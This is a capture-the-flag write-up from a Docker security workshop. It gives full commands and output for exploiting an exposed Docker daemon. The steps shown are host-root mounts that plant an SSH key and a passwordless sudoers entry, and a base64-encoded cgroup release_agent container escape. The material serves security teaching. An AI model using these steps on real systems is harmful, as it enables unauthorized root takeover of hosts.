The following is a write up for a challenge given during a Docker security workshop in the company I work for. It was a lot of fun and ironically I managed to complete the challenge not exactly how they were expecting so that’s why I am presenting two attack vectors. The second attack vector is how they were expecting people to complete the challenge.
The Challenge
The participants will have SSH access to a remote server in AWS. The goal is to show that the attacker can execute a process as the user root in another server in the local network running an insecure Docker service.
Preparations
I am lazy so I usually configure my SSH config file (~/.ssh/config):
Host docker-ctf
Hostname 3.135.YY.XX
User ubuntu
Port 22
IdentityFile ~/.ssh/id_rsa_docker
UserKnownHostsFile ~/.ssh/known_hosts_delme
Accessing the Jump Host
The train of though for this attack is:
- Access the remote server via SSH
- Perform a discovery ping sweep
- Once I found the target server perform a port scan to see what is open
So let’s start.
⯠ssh docker-ctf
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1058-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Mar 5 22:47:14 UTC 2020
System load: 0.0 Processes: 91
Usage of /: 30.9% of 7.69GB Users logged in: 0
Memory usage: 18% IP address for eth0: 10.42.2.129
Swap usage: 0%
14 packages can be updated.
0 updates are security updates.
*** System restart required ***
Last login: Thu Mar 5 19:21:38 2020 from x.x.x.x
ubuntu@ip-10-42-2-129:~$
Discovery
Good, access is granted, let’s start this challenge by looking for other servers in the network.
ubuntu@ip-10-42-2-129:~/ctf$ nmap -sP -oA scan 10.42.2.129/24
Host: 10.42.2.77 () Status: Up
Host: 10.42.2.129 (ip-10-42-2-129) Status: Up
# Nmap done at Thu Mar 5 18:35:46 2020 -- 256 IP addresses (2 hosts up) scanned in 6.39 seconds
ubuntu@ip-10-42-2-129:~$
Nice! Another server, let’s scan it
ubuntu@ip-10-42-2-129:~/ctf$ nmap -sCV 10.42.2.77 -oA 10.42.2.77
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-05 18:38 UTC
Nmap scan report for 10.42.2.77
Host is up (0.0017s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)
| 256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)
|_ 256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
ubuntu@ip-10-42-2-129:~$
Not good enough, let’s do a wider scan
ubuntu@ip-10-42-2-129:~/ctf$ nmap -sCV 10.42.2.77 -oA 10.42.2.77 -p 0-65535
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-05 18:38 UTC
Completed Service scan at 18:40, 81.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.42.2.77.
Initiating NSE at 18:40
Completed NSE at 18:40, 0.08s elapsed
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Nmap scan report for 10.42.2.77
Host is up (0.0086s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)
| 256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)
|_ 256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
| Os: linux
--8<------8<------8<------8<------8<------8<------8<------8<------8<------8<------8<--
-->8------>8------>8------>8------>8------>8------>8------>8------>8------>8------>8--
| Ostype: linux
| Server: Docker/19.03.5 (linux)
| Date: Thu, 05 Mar 2020 18:39:08 GMT
|_ Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.80 seconds
ubuntu@ip-10-42-2-129:~$
Preparing the Attack
Oh righty, this is getting good! Let’s point our Docker client to the server and port that we just found and see what we can get from it.
ubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp://10.42.2.77:2376
ubuntu@ip-10-42-2-129:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -t ubuntu bash
Unable to find image 'ubuntu:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers).
See 'docker run --help'.
ubuntu@ip-10-42-2-129:~$
OK, so we have the Docker client installed in the jump host but it seems that the target server cannot reach the Internet, this makes sense to mitigate this kind of attack but it will not stop me. This are the steps to follow:
- Get the attack docker image in our personal laptop
- Convert the export the attack docker image into a tarball
- Upload the attack docker image into the jump host
- Import the attack image into the remote docker service.
Personal Computer
⯠docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu
423ae2b273f4: Pull complete
de83a2304fa1: Pull complete
f9a83bce3af0: Pull complete
b6b53be908de: Pull complete
Digest: sha256:04d48df82c938587820d7b6006f5071dbbffceb7ca01d2814f81857c631d44df
Status: Downloaded newer image for ubuntu:latest
docker.io/library/ubuntu:latest
⯠docker save ubuntu -o /tmp/ubuntu.tgz
⯠scp /tmp/ubuntu.tgz docker-ctf:~/
ubuntu.tgz 100% 64MB 3.2MB/s 00:19
â¯
The image is now in the jump host. Now we need to import it into the remote Docker server. Notice how the image is transferred from the jump host to the remote docker server by using the Docker client.
Jump Host
ubuntu@ip-10-42-2-129:~$ ls
ubuntu.tgz
ubuntu@ip-10-42-2-129:~$ docker load < ubuntu.tgz
cc4590d6a718: Loading layer [===============================>] 65.58MB/65.58MB
8c98131d2d1d: Loading layer [===============================>] 991.2kB/991.2kB
03c9b9f537a4: Loading layer [===============================>] 15.87kB/15.87kB
1852b2300972: Loading layer [===============================>] 3.072kB/3.072kB
Loaded image: ubuntu:latest
ubuntu@ip-10-42-2-129:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 72300a873c2c 12 days ago 64.2MB
ubuntu@ip-10-42-2-129:~$
This is good progress. From here I will explain two possible scenarios. One is an account takeover by abusing SSH and privilege escalation by abusing Sudo. The other scenario is where access to the SSH server and only the Docker service is exposed.
Attack Vector 1: SSH and Sudo Abuse
This attack is based in a technique I found in the book Tactical Exploitation by H.D. Moore and Valsmith, specifically in section 4.4.1 NFS Home Directories in page 29. I am adapting the attack to abuse the remote SSH server and Sudo by exploiting the remote Docker service. This is how I do it:
First I execute run a docker container using the docker attack image I uploaded before. The trick is to run the container as root using the flag -u 0
and mount the root /
directory of the docker server in the /mnt
directory of the docker container.
ubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
root@2e29c9224caa:/# cd /mnt/
root@2e29c9224caa:/mnt# ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old
ubuntu@ip-10-42-2-129:~$
Now running as root in the container and having the file system mapped into the /mnt
directory of the container to do two things:
1.- I copy my public SSH key into the ubuntu’s user authorized_keys
in his ~/.ssh
folder:
root@2e29c9224caa:/# cd /mnt/home/ubuntu/.ssh
root@2e29c9224caa:/mnt/home/ubuntu/.ssh# cat >> authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZYh5HokO0Znz3wuNGXSQNxIYGpBUzz1eb0mSWPbFa+6aF5Ob+RuSBJ/4lMgjS+N/kQpVoE90jxY017cAZ/Wx2s7O3FFRtgrpfvv60QoJV2mE6YHF2jImiKzPCXr22fAczO9cnvsHd6zmB5pAB22zIPJ5heQQbh5yfIPw7qEjOUZJHOUuji9oCJK28ZN2JVI/e1hfrLUT8zyGxMtK0OgBfuS2ZZlYFsFmPN8bEpP9vn9Om+X9TIM9+x+FsZWLlf2BdkkXmzJzDeCHuacNufR3w+ZzUYBnkWUEzEy3elZ1ScUx5xhoy29f/myO7FgN+yUZarcopKT2usnw1iPLIXH8P
^C
root@2e29c9224caa:/#
2.- Now I give the user ubuntu sudo privileges with no password:
root@2e29c9224caa:/# cd /mnt/etc
root@2e29c9224caa:/mnt/etc# cat >> sudoers
ubuntu ALL=(ALL) NOPASSWD: ALL
^C
root@2e29c9224caa:/#
Good now we are ready to take control of the remote system with SSH. But first I update my SSH config file (~/.ssh/config) for convenience.
Host docker-ctf
Hostname 3.135.YY.XX
User ubuntu
Port 22
IdentityFile ~/.ssh/id_rsa_docker
UserKnownHostsFile ~/.ssh/known_hosts_delme
Host target
Hostname 10.42.2.77
User ubuntu
Port 22
IdentityFile ~/.ssh/id_rsa_docker
UserKnownHostsFile ~/.ssh/known_hosts_delme
SSH into the server and finish the pwning. I use the docker-ctf as a jump host with the -J
flag in SSH. Yeah I know, I can use the ProxyCommand ssh -q -W %h:%p docker-ctf
parameter in the config file but I wanted to show the -J
trick.
⯠ssh -J docker-ctf target
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1058-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Mar 5 19:46:25 UTC 2020
System load: 0.0 Processes: 92
Usage of /: 25.8% of 7.69GB Users logged in: 0
Memory usage: 24% IP address for eth0: 10.42.2.77
Swap usage: 0% IP address for docker0: 172.17.0.1
0 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Mar 5 19:44:45 2020 from 10.42.2.129
ubuntu@ip-10-42-2-77:~$ sudo -i
root@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)
w00t w00t! Now let’s execute the command as root to win the challenge.
root@ip-10-42-2-77:~# cat > runme.sh
for ((;;)); do id; echo Hello world > /dev/stderr ; sleep 20 ; done
^C
root@ip-10-42-2-77:~# bash runme.sh &
[1] 4456
root@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)
Hello world
root@ip-10-42-2-77:~# ps axu | grep runme
root 4456 0.0 0.3 13312 3176 pts/0 S 19:47 0:00 bash runme.sh
root 4464 0.0 0.1 14856 1076 pts/0 S+ 19:47 0:00 grep --color=auto runme
root@ip-10-42-2-77:~#
Profit!
Attack Vector 2: Remote Docker Server Abuse
This attack is based on a technique that Felix Wilhelm mentioned in his twitter account @_fel1x:
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o— Felix Wilhelm (@_fel1x) July 17, 2019
Then I found more details in an excellent blog post by Trail of Bits titled Understanding Docker Container Escapes. Please, pay them a visit since I am not going to go deep into the details of the technique but show my version of the attack.
Creating the Exploit
The goal of the attack is to be able to write a one liner that abuses the remote Docker server and writes a script in the file system of the host running the malicious Docker container. The payload will be delivered in a base64 encoded string. This is the attack:
cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK
We can decode it using CyberChef and the From Base64 recipe. This is the output:
rnd_dir=$(date +%s | md5sum | head -c 10)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/${rnd_dir}
echo 1 > /tmp/cgrp/${rnd_dir}/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd << _END
#!/bin/sh
cat > /runme.sh << EOF
sleep 30
EOF
sh /runme.sh &
sleep 5
ifconfig eth0 > "${host_path}/output"
hostname >> "${host_path}/output"
id >> "${host_path}/output"
ps axu | grep runme.sh >> "${host_path}/output"
_END
## Now we trick the docker daemon to execute the script.
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/${rnd_dir}/cgroup.procs"
## Waiiiiit for it...
sleep 6
cat /output
echo "•?((¯°·._.• profit! •._.·°¯))؟•"
In this piece of code, the attack abuses the functionality of the notify_on_release
feature in cgroups
v1 to run the exploit as a fully privileged root userref 1.
rnd_dir=$(date +%s | md5sum | head -c 10)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/${rnd_dir}
echo 1 > /tmp/cgrp/${rnd_dir}/notify_on_release
When the last task in a cgroups
leaves (by exiting or attaching to another cgroups
), a command supplied in the release_agent
file is executed. The intended use for this is to help prune abandoned cgroups
. This command, when invoked, is run as a fully privileged root on the hostref 1.
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
This step will create the script that the abused docker server will execute allowing us to spawn our own process.
cat > /cmd << _END
#!/bin/sh
cat > /runme.sh << EOF
sleep 30
EOF
sh /runme.sh &
## Now we look for the process
sleep 5
ifconfig eth0 > "${host_path}/output"
hostname >> "${host_path}/output"
id >> "${host_path}/output"
ps axu | grep runme.sh >> "${host_path}/output"
_END
Now we abuse the docker daemon to execute the script.
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/${rnd_dir}/cgroup.procs"
## Waiiiiit for it...
sleep 6
cat /output
echo "•?((¯°·._.• profit! •._.·°¯))؟•"
Preparing the Attack
I owe this section to Trail of Bits’ post titled Understanding Docker Container Escapes. I am copying most of it because I don’t think I can write it better and because I am also lazy.
We can run the attack with the --privileged
flag but that provides far more permissions than needed to escape a docker container via this method. In reality, the only requirements are:
- We must be running as root inside the container
- The container must be run with the SYS_ADMIN Linux capability
- The container must lack an AppArmor profile, or otherwise allow the mount syscall
- The cgroup v1 virtual file system must be mounted read-write inside the container
The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.
Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN.
A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN
.
So the command would look like this:
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
Executing the Attack
Now we execute everything in a nice one liner bundle:
ubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp://10.42.2.77:2376
ubuntu@ip-10-42-2-129:~$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
eth0: flags=4163 mtu 9001
inet 10.42.2.77 netmask 255.255.255.0 broadcast 10.42.2.255
inet6 fe80::36:7fff:fe79:376e prefixlen 64 scopeid 0x20
ether 02:36:7f:79:37:6e txqueuelen 1000 (Ethernet)
RX packets 97631 bytes 72611082 (72.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 91094 bytes 5847217 (5.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ip-10-42-2-77
uid=0(root) gid=0(root) groups=0(root)
root 21756 0.0 0.0 4628 796 ? S 08:04 0:00 sh /runme.sh
root 21771 0.0 0.1 11464 1012 ? S 08:04 0:00 grep runme.sh
•?((¯°·._.• profit! •._.·°¯))؟•
ubuntu@ip-10-42-2-129:~$
Profit! Notice how the command was executed as a low privileged account but by exploiting the open docker port we were able to run a command as root in the remote server. My recommendation is to use Metasploit to create a reverse shell or even use a rever shell from swisskyrepo‘s PayloadsAllTheThings Github repository.
References
1.- Trail of Bits Blog, Understanding Docker Container Escapes, Visited: March 17, 2020.
Happy Hacking!
Adrian Puente Z.